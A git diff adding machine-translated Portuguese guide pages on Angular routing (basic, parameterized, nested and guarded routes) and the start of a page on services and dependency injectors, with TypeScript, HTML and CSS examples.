+A primeira pergunta a ser abordada é quais rotas esse aplicativo consumirá? Bem, existem dois componentes: AComponent e BComponent. Cada um deve ter seu próprio caminho. Eles podem renderizar a partir da saída do `router-outlet` do AppComponent dependendo do local atual da rota.
+
+O local da rota (ou caminho) define o que é anexado à [origem de](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin) um [site](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin) (por exemplo, http: // localhost: 4200) por meio de uma série de barras ( `/` ).
+
+```typescript
+// … same imports from before … 
+ 
+ const routes: Routes = [ 
+  { 
+    path: 'A', 
+    component: AComponent 
+  }, 
+  { 
+    path: 'B', 
+    component: BComponent 
+  } 
+ ]; 
+ 
+ @NgModule({ 
+  imports: [ RouterModule.forRoot(routes) ], 
+  exports: [ RouterModule ] 
+ }) 
+ export class AppRoutingModule { } 
+```
+
+`http://localhost:4200/A` processa AComponent da `router-outlet` do `router-outlet` do AppComponent. `http://localhost:4200/B` processa BComponent. Você precisa de uma maneira de direcionar para esses locais sem usar a barra de endereços. Um aplicativo não deve depender da barra de endereços do navegador da Web para navegação.
+
+_O CSS global (Cascading Style-sheets) complementa o HTML abaixo dele. O link do roteador de um aplicativo deve ter uma aparência agradável. Este CSS também se aplica a todos os outros exemplos._
+
+```css
+/* global styles.css */ 
+ 
+ ul li { 
+  cursor: pointer; 
+  display: inline-block; 
+  padding: 20px; 
+  margin: 5px; 
+  background-color: whitesmoke; 
+  border-radius: 5px; 
+  border: 1px solid black; 
+ } 
+ 
+ ul li:hover { 
+  background-color: lightgrey; 
+ } 
+```
+
+```html
+
+<!-- app.component.html --> 
+ 
+ <ul> 
+  <li routerLink="/A">Go to A!</li> 
+  <li routerLink="/B">Go to B!</li> 
+ </ul> 
+ <router-outlet></router-outlet> 
+```
+
+Isso é roteamento básico! Clicar em qualquer das rotas routerLink direciona o endereço da web. Ele reatribui sem atualizar o navegador da web. O Angular's `Router` mapeia o endereço roteado para as `Routes` configuradas no AppRoutingModule. Ele corresponde ao endereço da propriedade `path` de um único objeto `Route` dentro da matriz. A primeira partida sempre vence, portanto, todas as rotas devem estar no final da matriz de `Routes` .
+
+Rotas correspondentes a todos evitam que o aplicativo trave se não puder corresponder à rota atual. Isso pode acontecer na barra de endereços onde o usuário pode digitar em qualquer rota. Para isso, o Angular fornece um valor de caminho curinga `**` que aceita todas as rotas. Essa rota geralmente renderiza um componente PageNotFoundComponent exibindo “Erro 404: página não encontrada”.
+
+```typescript
+// … PageNotFoundComponent imported along with everything else … 
+ 
+ const routes: Routes = [ 
+  { 
+    path: 'A', 
+    component: AComponent 
+  }, 
+  { 
+    path: 'B', 
+    component: BComponent 
+  }, 
+  { 
+    path: '', 
+    redirectTo: 'A', 
+    pathMatch: 'full' 
+  }, 
+  { 
+    path: '**', 
+    component: PageNotFoundComponent 
+  } 
+ ]; 
+```
+
+O objeto `Route` contendo `redirectTo` impede que o PageNotFoundComponent seja renderizado como resultado de `http://localhost:4200` . Esta é a rota inicial das aplicações. Para corrigir isso, `redirectTo` a rota inicial para `http://localhost:4200/A` `http://localhost:4200/A` indiretamente se torna a nova rota inicial do aplicativo.
+
+O `pathMatch: 'full'` informa ao objeto `Route` para corresponder à rota inicial ( `http://localhost:4200` ). Corresponde ao caminho vazio.
+
+Estes dois novos objetos `Route` vão no final do array desde que o primeiro match vence. O último elemento da matriz ( `path: '**'` ) sempre coincide, então é o último.
+
+Há uma última coisa que vale a pena abordar antes de prosseguir. Como o usuário sabe onde ele está no aplicativo em relação à rota atual? Claro que pode haver conteúdo específico para a rota, mas como o usuário deve fazer essa conexão? Deve haver algum tipo de destaque aplicado aos links do roteador. Dessa forma, o usuário saberá qual rota está ativa para a página da Web especificada.
+
+Essa é uma correção fácil. Quando você clica em um elemento `routerLink` , o Angular's `Router` atribui o _foco_ a ele. Esse foco pode acionar determinados estilos que fornecem um feedback útil ao usuário. A diretiva `routerLinkActive` pode rastrear esse foco para o desenvolvedor.
+
+```html
+
+<!-- app.component.html --> 
+ 
+ <ul> 
+  <li routerLink="/A" routerLinkActive="active">Go to A!</li> 
+  <li routerLink="/B" routerLinkActive="active">Go to B!</li> 
+ </ul> 
+ <router-outlet></router-outlet> 
+```
+
+A atribuição correta de `routerLinkActive` representa uma string de classes. Este exemplo retrata apenas uma classe ( `.active` ), mas qualquer número de classes delimitadas por espaço pode ser aplicado. Quando o `Router` atribui o _foco_ a um routerLink, as classes delimitadas por espaço se aplicam ao elemento host. Quando o foco se afasta, as classes são removidas automaticamente.
+
+```css
+/* global styles.css */ 
+ 
+ .active { 
+  background-color: lightgrey !important; 
+ } 
+```
+
+Os usuários agora podem reconhecer facilmente como a rota atual e o conteúdo da página coincidem. `lightgrey` destaque do `lightgrey` aplica-se ao routerLink que corresponde à rota atual. `!important` garante que o destaque substitua os estilos inline.
+
+#### Rotas parametrizadas
+
+Rotas não precisam ser completamente codificadas. Eles podem conter variáveis ​​dinâmicas referenciáveis ​​do componente correspondente ao objeto `Route` . Essas variáveis ​​são declaradas como parâmetros ao gravar o caminho da rota.
+
+Os parâmetros de rota são opcionais ou obrigatórios para corresponder a uma `Route` específica. Depende de como uma rota grava seus parâmetros. Existem duas estratégias: parametrização matricial e tradicional.
+
+A parametrização tradicional começa no array `Routes` configurado no AppRoutingModule.
+
+```typescript
+const routes: Routes = [ 
+  // … other routes … 
+  { 
+    path: 'B', 
+    component: BComponent 
+  }, 
+  { 
+    path: 'B/:parameter', 
+    component: BComponent 
+  }, 
+  // … other routes … 
+ ]; 
+```
+
+Concentre-se nas duas rotas BComponent. Parametrização acabará por ocorrer em ambas as rotas.
+
+A parametrização tradicional ocorre no segundo BComponent `Route` . `B/:parameter` contém o `parameter` parâmetro conforme indicado com `:` O que quer que segue, o cólon marca o nome do parâmetro. O `parameter` parâmetro é necessário para que o segundo BComponent `Route` coincida.
+
+`parameter` lê o valor de tudo o que é passado para a rota. Roteamento para `http://localhost:4200/B/randomValue` atribuirá `parameter` o valor de `randomValue` . Este valor pode incluir qualquer coisa além de outro `/` . Por exemplo, `http://localhost:4200/B/randomValue/blahBlah` não acionará o segundo BComponent `Route` . O PageNotFoundComponent processa em vez disso.
+
+O BComponent pode referenciar parâmetros de rota de sua classe de componentes. Ambas as abordagens de parametrização (matricial e tradicional) produzem os mesmos resultados no BComponent. Antes de ver o BComponent, examine a forma da matriz de parametrização abaixo.
+
+```typescript
+// app.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ import { Router } from '@angular/router'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  templateUrl: './app.component.html' 
+ }) 
+ export class AppComponent { 
+  constructor(private router: Router) { } 
+ 
+  routeMatrixParam(value: string) { 
+    if (value) 
+      this.router.navigate(['B', { parameter: value }]); // matrix parameter 
+    else 
+      this.router.navigate(['B']); 
+  } 
+ 
+  routeAddressParam(value: string) { 
+    this.router.navigate(['B', value]); 
+  } 
+ } 
+```
+
+O sistema de injeção de dependência do Angular fornece uma instanciação do `Router` . Isso permite que o componente seja roteado programaticamente. A função `.navigate(...)` aceita uma matriz de valores que é resolvida para um caminho _roteável_ . Algo como `.navigate(['path', 'to', 'something'])` resolve para `http://localhost:4200/path/to/something` . `.navigate(...)` adiciona marcas `/` delimitações de caminho ao normalizar a matriz em um caminho _roteável_ .
+
+A segunda forma de parametrização ocorre em `routeMatrixParam(...)` . Veja esta linha de código: `this.router.navigate(['B', { parameter: value }])` . Esta forma de `parameter` é um parâmetro da matriz. Seu valor é opcional para o primeiro BComponent `Route` corresponder ( `/B` ). A `Route` corresponde independentemente da presença do parâmetro no caminho.
+
+O `routeAddressParam(...)` resolve uma rota que corresponde à abordagem de parametrização `http://localhost:4200/B/randomValue` . Essa estratégia tradicional precisa de um parâmetro para corresponder à segunda rota BComponent ( `B/:parameter` :).
+
+A estratégia de matriz diz respeito a `routeMatrixParam(...)` . Com ou sem um parâmetro de matriz em seu caminho, a primeira rota BComponent ainda corresponde. O `parameter` parâmetro passa para o BComponent como na abordagem tradicional.
+
+Para ter total noção do código acima, aqui está o modelo HTML correspondente.
+
+```html
+
+// app.component.html 
+ 
+ <ul> 
+  <li routerLink="/A">Go to A!</li> 
+  <li> 
+    <input #matrixInput> 
+    <button (click)="routeMatrixParam(matrixInput.value)">Matrix!</button> 
+  </li> 
+  <li> 
+    <input #paramInput> 
+    <button (click)="routeAddressParam(paramInput.value)">Param!</button> 
+  </li> 
+ </ul> 
+ <router-outlet></router-outlet> 
+```
+
+No modelo, os valores são aceitos como entrada de texto. A entrada injeta no caminho da rota como um parâmetro. Dois conjuntos separados de caixas existem para cada estratégia de parametrização (tradicional e matriz). Com todas as peças juntas, é hora de examinar a classe de componentes BComponent.
+
+```typescript
+// b.component.ts 
+ 
+ import { Component, OnInit } from '@angular/core'; 
+ import { ActivatedRoute, ParamMap } from '@angular/router'; 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p>Route param: {{ currParam }}</p> 
+  ` 
+ }) 
+ export class BComponent implements OnInit { 
+  currParam: string = ""; 
+ 
+  constructor(private route: ActivatedRoute) { } 
+ 
+  ngOnInit() { 
+    this.route.params.subscribe((param: ParamMap) => { 
+      this.currParam = param['parameter']; 
+    }); 
+  } 
+ } 
+```
+
+BComponent resulta de uma das duas rotas BComponent no AppRoutingModule. `ActivatedRoute` instancia em um conjunto de informações úteis relacionadas à rota atual. Ou seja, a rota que causou a renderização do BComponent. `ActivatedRoute` instancia via injeção de dependência visando o construtor da classe.
+
+O campo `.params` de `ActivatedRoute.params` retorna um `Observable` que emite os parâmetros da rota. Observe como as duas abordagens de parametrização diferentes resultam no `parameter` parameter. O `Observable` retornado o emite como um par de valores-chave dentro de um objeto `ParamMap` .
+
+Entre as duas abordagens de parametrização, o `parameter` parâmetro foi resolvido de forma idêntica. O valor emite de `ActivatedRoute.params` apesar da abordagem para parametrização.
+
+A barra de endereço distingue os resultados finais de cada abordagem. A parametrização de matriz (opcional para correspondência de `Route` ) produz o endereço: `http://localhost:4200/B;parameter=randomValue` . A parametrização tradicional (necessária para correspondência de `Route` ) resulta em: `http://localhost:4200/B/randomValue` .
+
+De qualquer forma, os mesmos resultados do BComponent. A diferença real: uma correspondência diferente de BComponent `Route` . Isso depende inteiramente da estratégia de parametrização. A abordagem matricial garante que os parâmetros sejam opcionais para a correspondência de `Route` . A abordagem tradicional requer deles.
+
+#### Rotas Aninhadas
+
+`Routes` podem formar uma hierarquia. No DOM, isso envolve uma `router-outlet` mãe que processa pelo menos uma `router-outlet` . Na barra de endereços, parece com isso: `http://localhost/parentRoutes/childRoutes` . Na configuração `Routes` , a propriedade `children: []` indica um objeto `Route` como tendo rotas aninhadas (filho).
+
+```typescript
+import { NgModule } from '@angular/core'; 
+ import { RouterModule, Routes } from '@angular/router'; 
+ 
+ import { NestComponent } from '../../components/nest/nest.component'; 
+ import { AComponent } from '../../components/nest/a/a.component'; 
+ import { BComponent } from '../../components/nest/b/b.component'; 
+ 
+ const routes: Routes = [ 
+  { 
+    path: 'nest', 
+    component: NestComponent, 
+    children: [ 
+      { path: 'A', component: AComponent }, 
+      { path: 'B', component: BComponent } 
+    ] 
+  } 
+ ]; 
+ 
+ @NgModule({ 
+  imports: [ RouterModule.forRoot(routes) ], 
+  exports: [ RouterModule ] 
+ }) 
+ export class AppRoutingModule { } 
+```
+
+```typescript
+// nest.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-nest', 
+  template: ` 
+  <ul> 
+    <li routerLink="./A">Go to A!</li> 
+    <li routerLink="./B">Go to B!</li> 
+  </ul> 
+  <router-outlet></router-outlet> 
+  ` 
+ }) 
+ export class NestComponent { } 
+```
+
+O NestComponent renderiza uma `router-outlet` depois de renderizar a si mesmo a partir de outra `router-outlet` nível raiz no AppComponent. A `router-outlet` do roteador do modelo NestComponent pode renderizar um componente ( `/nest/A` ) ou BComponent ( `/nest/B` ).
+
+O AppRoutingModule reflete esse aninhamento no objeto `Route` do NestComponent. O campo `children: []` contém uma matriz de objetos `Route` . Esse objeto `Route` também pode aninhar rotas em seus `children: []` campos. Isso pode continuar para quantas camadas de rotas aninhadas. O exemplo acima mostra duas camadas de aninhamento.
+
+Cada `routerLink` contém um `./` em comparação com `/` . A `.` garante que o routerLink seja anexado ao caminho da rota. O routerLink substitui completamente o caminho de outra forma. Depois de rotear para `/nest` `.` expande para `/nest` .
+
+Isso é útil para rotear para `/nest/A` ou `/nest/B` partir da rota `.nest` . `A` e `B` constituem rotas aninhadas de `/nest` . Roteamento para `/A` ou `/B` retorna PageNotFound. `/nest` deve prefixar as duas rotas.
+
+Dê uma olhada no AppComponent que contém a `router-outlet` nível raiz em seu modelo. O AppComponent é a primeira camada de aninhamento, enquanto o NestComponent é o segundo.
+
+```typescript
+import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  template: ` 
+  <ul> 
+    <li routerLink="/nest">Go to nested routes!</li> 
+    <li routerLink="/">Back out of the nested routes!</li> 
+  </ul> 
+  <router-outlet></router-outlet> 
+  ` 
+ }) 
+ export class AppComponent { } 
+```
+
+Dentro do objeto `Route` , o `children: []` contém mais duas rotas aninhadas. Eles resultam em ACcomponent e BComponent ao rotear de `/nest` como discutido anteriormente. Esses componentes são muito simples para demonstração. `<li routerLink="/">...</li>` permite que você navegue pelas rotas de aninhamento para redefinir o exemplo, navegando até a rota de origem.
+
+```typescript
+import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <p>a works!</p> 
+  ` 
+ }) 
+ export class AComponent { } 
+```
+
+```typescript
+import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p>b works!</p> 
+  ` 
+ }) 
+ export class BComponent { } 
+```
+
+A matriz `children: []` aceita o objeto `Route` como elementos. `children: []` pode se aplicar a qualquer um desses elementos também. Os filhos desses elementos podem continuar aninhando-se. Esse padrão pode continuar por quantas camadas de aninhamento. Insira uma `router-outlet` no modelo para cada camada de roteamento aninhado.
+
+As técnicas de roteamento se aplicam independentemente do nível de aninhamento do objeto `Route` . As técnicas de parametrização diferem em apenas um aspecto. As rotas secundárias só podem acessar os parâmetros de seus pais por meio de `ActivatedRoute.parent.params` . `ActivatedRoute.params` tem como alvo o mesmo nível de rotas aninhadas. Isso exclui rotas no nível dos pais e seus parâmetros.
+
+`Route` proteções de `Route` são especialmente adequadas para roteamento aninhado. Um objeto `Route` pode restringir o acesso a todas as suas rotas aninhadas (filho).
+
+#### Rotas Guardadas
+
+Aplicativos da Web geralmente consistem em dados públicos e privados. Ambos os tipos de dados tendem a ter suas próprias páginas com rotas _protegidas_ . Essas rotas permitem / restringem o acesso, dependendo dos privilégios do usuário. Usuários não autorizados podem interagir com uma rota vigiada. A rota deve bloquear o usuário se ele tentar acessar seu conteúdo roteado.
+
+Angular fornece um conjunto de proteções de autenticação que podem ser anexadas a qualquer rota. Esses métodos são acionados automaticamente dependendo de como o usuário interage com a rota protegida.
+
+*   `canActivate(...)` - dispara quando o usuário tenta acessar uma rota
+    
+*   `canActivateChild(...)` - dispara quando o usuário tenta acessar as rotas aninhadas (rota) de uma rota
+    
+*   `canDeactivate(...)` - dispara quando o usuário tenta sair de uma rota
+    
+
+Os métodos de guarda angular estão disponíveis em `@angular/router` . Para ajudá-los a autenticar, eles podem, opcionalmente, receber alguns parâmetros. Tais parâmetros não são injetados via injeção de dependência. Sob o capô, cada valor é passado como um argumento para o método de guarda invocado.
+
+*   `ActivatedRouteSnapshot` - disponível para todos os três
+    
+*   `RouterStateSnapshot` - disponível para todos os três
+    
+*   `Component` - disponível para `canDeactivate(...)`
+    
+
+`ActivatedRouteSnapshot` fornece acesso aos parâmetros de rota da rota vigiada. `RouterStateSnapshot` expõe o endereço da `RouterStateSnapshot` da URL (localizador uniforme de recursos) correspondente à rota. `Component` referência ao componente renderizado pela rota.
+
+Para proteger uma rota, uma classe que implemente os métodos de proteção precisa primeiro existir como um serviço. O serviço pode ser injetado no AppRoutingModule para proteger suas `Routes` . O valor do token para o serviço pode ser injetado em qualquer objeto de `Route` .
+
+```typescript
+import { NgModule } from '@angular/core'; 
+ import { RouterModule, Routes } from '@angular/router'; 
+ 
+ import { AuthService } from '../../services/auth.service'; 
+ import { UserService } from '../../services/user.service'; 
+ 
+ import { PrivateNestComponent } from '../../components/private-nest/private-nest.component'; 
+ import { PrivateAComponent } from '../../components/private-nest/private-a/private-a.component'; 
+ import { PrivateBComponent } from '../../components/private-nest/private-b/private-b.component'; 
+ 
+ const routes: Routes = [ 
+  { 
+    path: 'private-nest', 
+    component: PrivateNestComponent, 
+    canActivate: [ AuthService ], // !!! 
+    canActivateChild: [ AuthService ], // !!! 
+    canDeactivate: [ AuthService ], // !!! 
+    children: [ 
+      { path: 'private-A', component: PrivateAComponent }, 
+      { path: 'private-B', component: PrivateBComponent } 
+    ] 
+  } 
+ ]; 
+ 
+ @NgModule({ 
+  imports: [ RouterModule.forRoot(routes) ], 
+  exports: [ RouterModule ], 
+  providers: [ 
+    AuthService, 
+    UserService 
+  ] 
+ }) 
+ export class AppRoutingModule { } 
+```
+
+`canActivate` , `canActivateChild` e `canDeactivate` implement from AuthService. A implementação do serviço será mostrada em breve ao lado da implementação do UserService.
+
+UserService fornece as informações necessárias para autenticar um usuário. As implementações do método de proteção AuthService executam a autenticação. O AppRoutingModule deve incluir os dois serviços em sua matriz de provedores. Isso é para que o injetor do módulo saiba como instanciá-los.
+
+Rotas aninhadas existem fora do caminho `/private-nest` . O objeto `Route` para `/private-nest` contém mais alguns novos campos. Seus nomes devem parecer familiares enquanto refletem seus métodos de guarda correspondentes.
+
+Cada campo dispara a implementação do método do seu homônimo dentro do serviço quando acionado. Qualquer número de serviços pode preencher essa matriz também. A implementação do método de cada serviço é testada. Eles devem retornar um valor booleano ou um `Observable` que emite um valor booleano.
+
+Veja as implementações AuthService e UserService abaixo.
+
+```typescript
+// user.service.ts 
+ 
+ import { Injectable } from '@angular/core'; 
+ import { Router } from '@angular/router'; 
+ 
+ class TheUser { 
+  constructor(public isLoggedIn: boolean = false) { } 
+ 
+  toggleLogin() { 
+    this.isLoggedIn = true; 
+  } 
+ 
+  toggleLogout() { 
+    this.isLoggedIn = false; 
+  } 
+ } 
+ 
+ const globalUser = new TheUser(); 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class UserService { 
+  theUser: TheUser = globalUser; 
+ 
+  constructor(private router: Router) { } 
+ 
+  get isLoggedIn() { 
+    return this.theUser.isLoggedIn; 
+  } 
+ 
+  login() { 
+    this.theUser.toggleLogin(); 
+  } 
+ 
+  logout() { 
+    this.theUser.toggleLogout(); 
+    this.router.navigate(['/']); 
+  } 
+ } 
+```
+
+A mesma instância de `TheUser` é passada a cada instanciação do UserService. `TheUser` fornece acesso a `isLoggedIn` para determinar o status de login do usuário. Dois outros métodos públicos permitem que o UserService alterne o valor de `isLoggedIn` . Isso é para que o usuário possa efetuar login e logout.
+
+Você pode pensar em `TheUser` como uma instância global. `UserService` é uma interface instantânea que configura este global. As alterações no `TheUser` partir de uma instanciação do `UserService` aplicam-se a todas as outras instâncias do `UserService` . `UserService` implementa no AuthService para fornecer acesso a `isLoggedIn` de `TheUser` para autenticação.
+
+```typescript
+import { Component, Injectable } from '@angular/core'; 
+ import { CanActivate, CanActivateChild, CanDeactivate, ActivatedRouteSnapshot, RouterStateSnapshot } from '@angular/router'; 
+ 
+ import { UserService } from './user.service'; 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class AuthService implements CanActivate, CanActivateChild, CanDeactivate<Component> { 
+  constructor(private user: UserService) {} 
+ 
+  canActivate(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) { 
+    if (this.user.isLoggedIn) 
+      return true; 
+    else 
+      return false; 
+  } 
+ 
+  canActivateChild(route: ActivatedRouteSnapshot, state: RouterStateSnapshot) { 
+    return this.canActivate(route, state); 
+  } 
+ 
+  canDeactivate(component: Component, route: ActivatedRouteSnapshot, state: RouterStateSnapshot) { 
+    if (!this.user.isLoggedIn || window.confirm('Leave the nest?')) 
+      return true; 
+    else 
+      return false; 
+  } 
+ } 
+```
+
+AuthService implementa todo método de guarda importado de `@angular/router` . Cada método de guarda é mapeado para um campo correspondente no objeto `Route` do PrivateNestComponent. Uma instância do UserService instancia do construtor AuthService. AuthService determina se um usuário pode continuar usando `isLoggedIn` exposto pelo UserService.
+
+Retornando `false` de um guarda instrui a rota para bloquear o usuário do roteamento. Um valor de retorno de `true` permite que o usuário prossiga para o destino da rota. Se mais de um serviço autenticar, todos eles deverão retornar true para permitir o acesso. `canActivateChild` protege as rotas secundárias de PrivateNestComponent. Esse método de proteção é considerado para usuários que ignoram PrivateNestComponent por meio da barra de endereços.
+
+Os parâmetros do método Guard passam automaticamente após a chamada. Embora o exemplo não faça uso deles, eles fornecem informações úteis da rota. O desenvolvedor pode usar essas informações para ajudar a autenticar o usuário.
+
+O AppComponent também instancia o UserService para uso direto em seu modelo. A instanciação UserService de AppComponent e AuthService referencia a mesma classe de usuário ( `TheUser` ).
+
+```typescript
+import { Component } from '@angular/core'; 
+ 
+ import { UserService } from './services/user.service'; 
+ 
+ @Component({ 
+  selector: 'app-root', 
+  template: ` 
+  <ul> 
+    <li routerLink="/private-nest">Enter the secret nest!</li> 
+    <li routerLink="/">Leave the secret nest!</li> 
+    <li *ngIf="user.isLoggedIn"><button (click)="user.logout()">LOGOUT</button></li> 
+    <li *ngIf="!user.isLoggedIn"><button (click)="user.login()">LOGIN</button></li> 
+  </ul> 
+  <router-outlet></router-outlet> 
+  ` 
+ }) 
+ export class AppComponent { 
+  constructor(private user: UserService) { } 
+ } 
+```
+
+O UserService lida com toda a lógica do AppComponent. O AppComponent diz respeito principalmente ao seu modelo. Um UserService instancia como `user` do construtor de classe. `user` dados do `user` determinam a funcionalidade do modelo.
+
+#### Conclusão
+
+O roteamento consegue um bom equilíbrio entre organizar e restringir seções do aplicativo. Um aplicativo menor, como um blog ou uma página de tributo, pode não exigir nenhum roteamento. Mesmo assim, incluindo um pouco de roteamento hash não poderia ferir. Um usuário só pode querer referenciar parte da página depois de tudo.
+
+O Angular aplica sua própria biblioteca de roteamento construída sobre a [API de histórico](https://developer.mozilla.org/en-US/docs/Web/API/History_API) do HTML5. Essa API omite o roteamento hash para usar os `pushState(...)` e `replaceState(...)` . Eles alteram o URL do endereço da web sem atualizar a página. A estratégia de roteamento de localização de caminho padrão no Angular funciona dessa maneira. A definição de `RouterModule.forRoot(routes, { useHash: true })` habilita o roteamento de hash, se preferir.
+
+Este artigo enfocou a estratégia de localização de caminho padrão. Independentemente da estratégia, muitos utilitários de roteamento estão disponíveis para rotear um aplicativo. O `RouterModule` expõe esses utilitários através de suas exportações. Rotas básicas, parametrizadas, aninhadas e protegidas são todas possíveis utilizando o RouterModule. Para implementações mais avançadas, incluindo rotas carregadas de forma lenta, veja os links abaixo.
+
+## Fontes
+
+*   [Equipa Angular “Roteamento e Navegação”. _Google_ . Acessado em 8 de junho de 2018.](https://angular.io/guide/router)
+*   [Hussain, Asim. "Angular 5: Roteamento". _codecraft.tv_ . Acessado em 8 de junho de 2018.](https://codecraft.tv/courses/angular/routing)
+*   [Smith, Peter. "3 Tipos de Carregamento de Rota em Angular, Explicados em 500 palavras". _Upstate Interactive_ , 3 de maio de 2017. Acessado em 8 de junho de 2018.](https://blog.upstate.agency/3-types-of-route-loading-in-angular-explained-in-500ish-words-f22976e1f60b)
+*   [Koretskyi, Maxim. “Evitando confusões comuns com módulos em Angular”. _Angular em profundidade_ , 10 de agosto de 2017. Acessado em 8 de junho de 2018.](https://blog.angularindepth.com/avoiding-common-confusions-with-modules-in-angular-ada070e6891f)
+
+## Recursos
+
+*   [Documentação Angular](https://angular.io/guide)
+*   [Roteamento e Navegação](https://angular.io/guide/router)
+*   [Angular 5: Roteiro de Tutorial de Asim Hussain](https://codecraft.tv/courses/angular/routing/overview)
+*   [Angular em Profundidade](https://blog.angularindepth.com)
+*   [Repositório Angular GitHub](https://github.com/angular/angular)
+*   [CLI Angular](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/services-and-injectors/index.md b/client/src/guide/portuguese/angular/services-and-injectors/index.md
new file mode 100644
index 0000000000..d5ba68ec31
--- /dev/null
+++ b/client/src/guide/portuguese/angular/services-and-injectors/index.md
@@ -0,0 +1,258 @@
+---
+title: Services and Injectors
+localeTitle: Serviços e Injetores
+---
+# Serviços e Injetores
+
+#### Motivação
+
+Os componentes são responsáveis ​​pelos dados que são renderizados no modelo. Ter _serviços_ externos para atrair pode simplificar essa responsabilidade. Além disso, o encapsulamento externo é muito mais fácil de manter.
+
+A delegação de muitas responsabilidades em um único componente pode complicar a classe do componente. E se essas responsabilidades se aplicassem a vários componentes? Copiar e colar essa lógica é uma prática extremamente deficiente. Quaisquer alterações futuras na lógica seriam mais difíceis de implementar e testar.
+
+Angular destinado a reduzir esse problema com serviços e injeção de dependência. Ambos os conceitos trabalham juntos para fornecer funcionalidade _modular_ .
+
+Os componentes não precisam fornecer nenhuma informação irrelevante. Um serviço importa o que ele precisa para funcionar em nome dos componentes que ele _atende_ . Os componentes precisam apenas instanciar o serviço. De lá eles _atendem_ suas próprias necessidades com a instância de serviço instanciada.
+
+Quanto aos testes e futuras modificações, toda a lógica está em um só lugar. O serviço instancia de sua origem. Testes e modificações na fonte se aplicam em qualquer lugar em que o serviço é injetado.
+
+#### Introdução aos Serviços
+
+Um serviço é um tipo de _esquema_ disponível em Angular. É gerável pela interface da linha de comandos (CLI): `ng generate service [name-of-service]` . Substitua `[name-of-service]` por um nome preferível. O comando da CLI produz o seguinte.
+
+```typescript
+import { Injectable } from '@angular/core'; 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class LoggerService { 
+  constructor() { } 
+ } 
+```
+
+A lógica de um serviço é distinta dentro de sua classe. Angular interpreta uma classe como um serviço _injetável_ baseado no decorador `@Injectable` . Serviços injetáveis ​​devem se _registrar_ com um injetor.
+
+O componente instancia um serviço enquanto o injetor fornece essa instância. Continue lendo na próxima seção para mais informações sobre injetores.
+
+O campo de metadados `@Injectable` `providedIn: 'root'` tem como alvo o módulo raiz do aplicativo atual ( `app.module.ts` ). Ele registra o serviço com o injetor do módulo para que ele possa _injetar_ esse serviço em qualquer um de seus filhos.
+
+Os injetores são os blocos de construção do sistema de injeção de dependência da Angular. Os injetores são um bom lugar para concentrar sua atenção antes de continuar com os serviços.
+
+#### Injetores
+
+Um aplicativo, começando com `app.module.ts` , contém uma hierarquia de injetores. Eles existem ao lado de cada módulo e componente na árvore de aplicativos.
+
+![Hierarquia de Aplicativos](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image5.png)
+
+Os círculos verdes indicam injetores. Eles fornecem instâncias de serviço para instanciar componentes. Dependendo de qual injetor um serviço está registrado, ele pode ou não estar disponível para um componente.
+
+Os serviços registrados na raiz do aplicativo ( `app.module.ts` ) estão disponíveis para todos os componentes. Um injetor para um componente pode não ter um certo serviço registrado. Se esse for o caso e o componente solicitar sua instanciação, o injetor irá adiar para seu pai. Esta tendência continua até chegar ao injetor de raiz ou o serviço é encontrado.
+
+Olhando para o diagrama, diga que um serviço é registrado no injetor do ponto B. Todos os componentes no ponto C e abaixo não poderão acessar o serviço registrado no injetor de B. Os injetores nunca adiarão seus filhos para uma instância de serviço.
+
+#### Injeção de dependência
+
+Existem várias maneiras de registrar um serviço com os injetores de um aplicativo.
+
+O campo de metadados `providedIn: 'root'` de `@Injectable` fornece a abordagem mais recomendada. Este campo de metadados lançado com o Angular 6.
+
+Como mencionado anteriormente, `providedIn: 'root'` registra um serviço com o injetor do módulo raiz. É instanciável em todo o aplicativo como resultado.
+
+A novidade do `providedIn: 'root'` é _arborizar_ . Se o serviço não for utilizado, apesar de seu registro, ele será _abalado a_ partir do aplicativo em tempo de execução. Dessa forma, não consome recursos.
+
+As outras duas formas são mais diretas e tradicionais. Concedido, eles não oferecem arborismo.
+
+Um serviço pode se registrar com qualquer injetor ao longo da árvore de componentes. Você insere o serviço como um provedor no campo de metadados `@Component` : `providers: []` . O serviço está disponível para o componente e seus filhos
+
+Na terceira estratégia de registro, os metadados `providers: []` existem como seu próprio campo no decorador `@NgModule` . O serviço é instanciável do módulo para a árvore de componentes subjacente.
+
+Lembre-se que, ao contrário de `providedIn: 'root'` , o registro `@NgModule` não oferece agitações na árvore. Ambas as estratégias são idênticas. Uma vez que um serviço se registra com `@NgModule` , ele consome recursos mesmo se não for usado pelo aplicativo.
+
+#### Serviços Continuados
+
+Escrevendo um serviço real vem em seguida. Para recapitular, os serviços manipulam determinadas funções em nome dos componentes de um aplicativo.
+
+Os serviços são excelentes no manuseio de operações comuns. Eles poupam componentes da responsabilidade ao fazê-lo. Economiza tempo sem precisar reescrever operações comuns em vários componentes. Também é mais testável porque o código está em um só lugar. Mudanças só precisam acontecer em um lugar sem ter que procurar em outro lugar.
+
+#### Casos de Uso
+
+Alguns exemplos são um longo caminho para uma compreensão completa dos serviços.
+
+*   logs do console
+    
+*   Solicitações de API
+    
+
+Ambos são comuns na maioria dos aplicativos. Ter serviços para lidar com essas operações reduzirá a complexidade dos componentes.
+
+##### Logs do console
+
+Este exemplo é construído a partir do esqueleto base do `@Injectable` . O esqueleto está disponível através da execução do CLI ( `ng generate service [name-of-service]]` ).
+
+```typescript
+// services/logger.service.ts 
+ 
+ import { Injectable } from '@angular/core'; 
+ 
+ interface LogMessage { 
+  message:string; 
+  timestamp:Date; 
+ } 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
